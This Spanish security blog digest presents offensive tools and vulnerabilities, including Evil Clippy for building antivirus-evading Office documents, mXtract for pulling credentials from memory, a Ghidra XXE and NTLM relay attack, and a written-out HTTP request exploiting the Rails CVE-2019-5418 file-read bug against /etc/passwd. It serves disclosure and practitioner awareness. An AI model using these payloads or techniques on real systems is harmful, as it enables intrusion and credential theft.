Evil Clippy: herramienta para crear documentos de MS Office maliciosos

Evil Clippy de Stan Hegt (@StanHacked) es un asistente multiplataforma para crear documentos maliciosos de Microsoft Office. Se presentó en la BlackHat Asia (28 de marzo de 2019) y puede ocultar macros VBA, pisar (en adelante stomp) códigoVBA (a través de P-Code) y confundir a las herramientas de análisis de macros.

Actualmente esta herramienta es capaz de obtener una macro predeterminada de Cobalt Strike que puede bypassear todos los principales productos antivirus y la mayoría de las herramientas de análisis de maldoc (mediante el uso de stomping VBA en combinación con nombres de módulos aleatorios).

Evil Clippy usa la librería OpenMCDF para manipular los archivos (Compound File Binary Format) de MS Office y abusa de las especificaciones y características de MS-OVBA. Reutiliza el código de Kavod.VBA.Compression para implementar el algoritmo de compresión que se usa en las secuencias de dir y módulos (consultar MS-OVBA para obtener las especificaciones relevantes).

Evil Clippy funciona perfectamente bien con el compilador Mono C# y ha sido probado en Linux, OSX y Windows.

Repositorio: https://github.com/outflanknl/EvilClippy

Instalación

Se puede encontrar un binario compilado multiplataforma en "releases".

En OSX y Linux hay que tener instalado Mono y ejecutar el siguiente comando desde la línea de comandos:

mcs /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe * .cs

Después para ejecutar Evil Clippy desde la línea de comandos:

mono EvilClippy.exe -h

En Windows hay que tener instalado Visual Studio. Luego, ejecutar el siguiente comando desde una ventana de comandos de Visual Studio developer:

csc /reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll /out:EvilClippy.exe * .cs

Luego ejecutar Evil Clippy desde la línea de comandos:

EvilClippy.exe -h

RedHunt Linux Distribution (VM)

RedHunt Linux Distribution (VM) es máquina virtual para la emulación de adversarios y la caza de amenazas. Pretende ser una "ventanilla única" para todas las necesidades de emulación de amenazas y búsqueda de amenazas al integrar el arsenal del atacante y el conjunto de herramientas del defensor para identificar activamente las amenazas en el entorno.

Máquina base:

  • Lubuntu-18.04 x64

Herramientas:

Emulación de ataques:

Logging y monitorización:

Open Source Intelligence (OSINT):

Threat Intelligence:

Enlace de descarga de la VM:

La pastilla Roja/Azul del Cloud (by Lorien & Kneda #hc0n2019)

Al contratar los servicios cloud para el almacenamiento de nuestros archivos se nos permite disponer de estos en cualquier parte del mundo pero, ¿qué pasa si se vulnera la seguridad del cloud?. En la charla "La pastilla Roja/Azul del Cloud" Kneda demostró cómo se puede llegar a vulnerar la seguridad del cloud, llegando incluso a conseguir información personal, y Lórien intentó a través de la forénsica desenmascarar al autor. ¿Quién ganó realmente?

Tenemos un vídeo en el que se muestra la "batalla" pero sus autores nos han pedido que no lo subamos todavía porque volverán a dar la charla próximamente. Así que si quieres ser testigo presencial de nuestro particular Yin Yang aka rojo vs azul en ciberseguridad permanece atento!

Presentación:


Plugin para exportar proyectos de IDA Pro a Ghidra

Ghidra ha llegado dispuesto a "comerle la tostada" a IDA Pro. Sirva de claro ejemplo que hasta incluye un plugin para usarse directamente con el famoso desensamblador/debugger de Hex-Rays y que permite exportar bases de datos de IDA Pro como archivos XML para que luego puedan importarse a Ghidra.
Para agregar el plugin de este exportador a XML a la instalación de IDA simplemente hay que mover o copiar los directorios a <directorio de instalación de ghidra>/Extensions/IDAPro. El complemento está disponible para IDA Pro versiones 6 y 7.

Sus contenidos son:

- xml_exporter.py: es el plugin para exportar la base de datos IDA como archivo XML. Se debe colocar en la carpeta de plugins de IDA.
- xml_loader.py: es el cargador de IDA para construir una nueva base de datos utilizando un archivo XML. Carga el archivo de bytes y construye la base de datos de IDA utilizando el contenido del archivo XML. Debe colocarse en la carpeta de loaders de IDA.
- xml_importer.py: es un plugin para agregar datos de un archivo XML a una base de datos existente. NO cargará ningún dato binario del archivo de bytes. Agregará símbolos, comentarios, códigos, datos, funciones, etc. para las direcciones que existen actualmente en la base de datos. Se debe colocar en la carpeta de plugins de IDA.
- idaxml.py: es un módulo y una importación requerida para xml_exporter, xml_importer y xml_loader. Debe colocarse en la carpeta python de IDA.

Después de colocar los archivos indicados, veremos en IDA dos nuevos iconos en el menú de plugins:

mXtract: escanea volcados de memoria... para hacer el mal

En la mayoría de los entornos de Linux, los usuarios pueden acceder a la memoria de muchos procesos, lo que puede permitir a un atacante recopilar credenciales, claves privadas o cualquier cosa que se suponga que se ve, pero que está siendo procesada por un programa en texto no cifrado.

mXtract es una herramienta escrita en c++ y de código abierto que realiza y analiza volcados de memoria y se desarrolló precisamente como una herramienta ofensiva con el propósito principal es escanear la memoria en busca de claves privadas, IPs y contraseñas usando expresiones regulares.

Es una herramienta que puede resultar bastante útil y sus resultados serán tan buenos como las expresiones regulares que añadas en las búsquedas.    

Características

- Posibilidad de usar expresiones regulares
- Comprueba si el rango de memoria se puede escribir con los permisos actuales
- Salida en XML y HTML junto con la salida predeterminada (nombre del proceso: resultado)
- Capacidad para escanear todos los procesos o un PID específico
- Posibilidad de elegir secciones de memoria para escanear
- Capacidad para mostrar información detallada del proceso
- Capacidad para escanear archivos del entorno de proceso
- Los volcados de memoria eliminan automáticamente los caracteres Unicode, lo que permite el procesamiento con otras herramientas o manualmente.
Instalación

Descarga: git clone https://github.com/rek7/mXtract
Compilar: cd mXtract && sh compile.sh

Esto creará el directorio bin/ y compilará el binario como mXtract.

 ./bin/mxtract -h

Malware cracking (by Markel Picado #hc0n2019)

La charla que "rompió el hielo" en la segunda edición de h-c0n y personalmente una de las qué más me impactó por su temática fue "Malware cracking" de Markel. En ella mostró como después de un análisis profundo del código de las últimas muestras de Lokibot (uno de los infostealers más populares) se dió cuenta que un actor tercero las estaba vendiendo más baratas que la versión original: el secuestro de malware.

En la presentación mostró como se realizó el parche, cómo ese parche creó un error en todas las muestras de LokiBot utilizadas en las campañas más recientes y cómo esas muestras de LokiBot estaban relacionadas con la versión original de LokiBot.

Además, Markel nos enseñó dos herramientas que escribió: una para desinfectar un sistema comprometido con LokiBot y la otra es un script de Python capaz de generar nuevas muestras de LokiBot con paneles de control personalizados. El script de Python puede parchear muestras de la versión modificada de LokiBot y corregir el error generado por la modificación realizada por el tercer actor.

Presentación:


Highbox - Administra tus contraseñas sin necesidad de guardarlas

Hoy en día, la continua globalización marca la pauta del día a día, y el ámbito de la seguridad no ha sido la excepción, registrarse en un sitio, ya sea para obtener un servicio o acceso a cierta información, es algo bastante común, y a su vez el avance tecnológico exige contraseñas cada vez más complejas, la clásica contraseña de 8 caracteres es a día de hoy obsoleta, otro problema constante es administrar las diferentes contraseñas para cada sitio. Es aquí donde un administrador de contraseñas se vuelve fundamental.

Highbox es un administrador de contraseñas gratuito, que no almacena contraseñas, en su lugar son generadas automáticamente mediante un algoritmo matemático, esto lo vuelve bastante conveniente ya que solo se guarda información referente al inicio de sesión como: sitio web, email, teléfono, entre otros, además de utilizar la sincronización en la nube mediante una cuenta de Google para realizar respaldos, por lo que es fácil recuperar la información en todo momento.

¿Cómo funciona?
•    PUSH(AGREGAR UNA BOX)
•    POP(SACAR UNA BOX)


Highbox maneja el concepto de Box para referirse a las cuentas del usuario, así que cuando se agrega una Box lo único que se necesita hacer para configurarla es crear es un “Totem”, un tótem es una palabra o frase que es elegida por el usuario para representar su contraseña, ésta nunca será guardada en memoria y el largo o su contenido depende de la elección del usuario. Acompañando a su tótem, se introduce una “Hint” o pista, ésta si es almacenada y es básicamente otro juego de palabras escogido por el usuario que es utilizado como referencia para no olvidar el Tótem en futuras consultas. La Hint le dice al usuario cuál podría ser el Tótem, pero claro esto no debe ser explícito.

iBombShell: Pentesting EveryWhere & EverySystem (by Pablo González y Álvaro Nuñez #hc0n2019)

Cuando recibimos la propuesta de Pablo González y Álvaro Nuñez para hablar de iBombShell en la #hc0n2019 lo teníamos claro. Primero porque Pablo es super majo y uno de los grandes, conocido desde tiempos de Flu-Project, y segundo porque traían a nuestro congreso una herramienta que fue incluida en el arsenal del la BlackHat Europe de 2018.

iBombShell fue desarrollada desde el departamento de Ideas Locas del área del CDO de Telefónica en colaboración con el laboratorio de Innovación de ElevenPaths y se trata de una shell de post-explotación que tiene como objetivo poder usarse prácticamente en cualquier equipo con Windows, gracias a que es descargada desde el repo dinámicamente. Bueno, realmente tiene dos modos de ejecución, el denominado "everywhere" con Powershell y otro adicional llamado "silently" gracias a un C2 escrito en Python.

En la charla se mostraron escenarios reales, y actuales, de pentesting dónde iBombShell trabaja y aporta frescura a los diferentes procesos de un pentest. Tanto si tuviste la oportunidad de asistir al Congreso y ver las demos como si no, ¡te recomendamos probarla!

https://github.com/ElevenPaths/ibombshell

Presentación:


Es Java... ¡no aceptes proyectos de extraños para Ghidra!

Hace unos días veíamos en el blog una pequeña peculiaridad (no diría vulnerabilidad) en Ghidra que permitía ejecutar código remotamente si lanzábamos el programa en modo debug. Pues bien, hoy os traemos una vulnerabilidad XXE (entidad externa XML) identificada por @sghctoma y Tecent Security que se puede provocar al cargar un proyecto en la versión 9.0 de la popular herramienta de reversing de la NSA.

La PoC de la siguiente imagen muestra cómo un atacante puede crear un proyecto GHIDRA completamente nuevo editando el archivo project.prp e insertar el exploit XXE para recibir una simple shell reversa escuchando con netcat:


Otra aplicación interesante es la posibilidad de recibir el hash NTLM explotando esta vulnerabilidad. Java en Windows habilita la autenticación NTLM transparente de forma predeterminada y trata todas las URL como confiables, así que sólo basta con levantar un servidor HTTP con la autenticación NTLM habilitada y usar la vulnerabilidad XXE/SSRF para forzar una autenticación NTLM de la víctima.

Cuando se autentica con NTLMv1, el atacante puede transmitir directamente el Hash Net-NTLM al servicio SMB de la víctima.
En el caso de SMBv2, primero debemos modificar las flags de negociación en el mensaje de tipo 2: 'Negotiate Always Sign' y 'Negotiate 0x00004000'. Esto pasará de autenticación local a autenticación de red, y también eliminará la firma.

La gente de Tecent Security ha publicado además una herramienta llamada UltraRelay basada en Responder e Impack para el envenenamiento LLMNR y reenvío de credenciales NTLM: https://github.com/5alt/ultrarelay

El resultado como puede verse en el siguiente vídeo es bastante autoexplicativo:


- Ghidra From XXE to RCE
- GHIDRA is NSA’s reverse engineering tool released earlier this month.
- Experts found a critical vulnerability in the NSA Ghidra tool

Acceso arbitrario a ficheros en Rails (CVE-2019-5418)

Recientemente se ha publicado una vulnerabilidad en Ruby on Rails que permite acceder arbitrariamente al contenido de los ficheros del servidor.

La vulnerabilidad está en Action View, ha sido bautizada con el CVE CVE-2019-5418 y puede explotarse simplemente mandando una cabecera 'Accept' especialmente construida que en combinación con las llamadas a `render file:` nos mostrará en la respuesta el contenido del fichero:
GET /test HTTP/1.1
Host: SERVIDOR:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: ../../../../../../../../etc/passwd{{
Content-Length: 306
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: firstVisit=1552167456698; CSRF-Token-HOYYT=grQmu9F3Y5hazpvr6T5TtWKj4HqPFhea; sessionid-HOYYT=i3VkCeXtjRJJHUxc7xEEjbecD53xbvaN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Las versiones de Rails que ya han sido corregidas son la 6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1.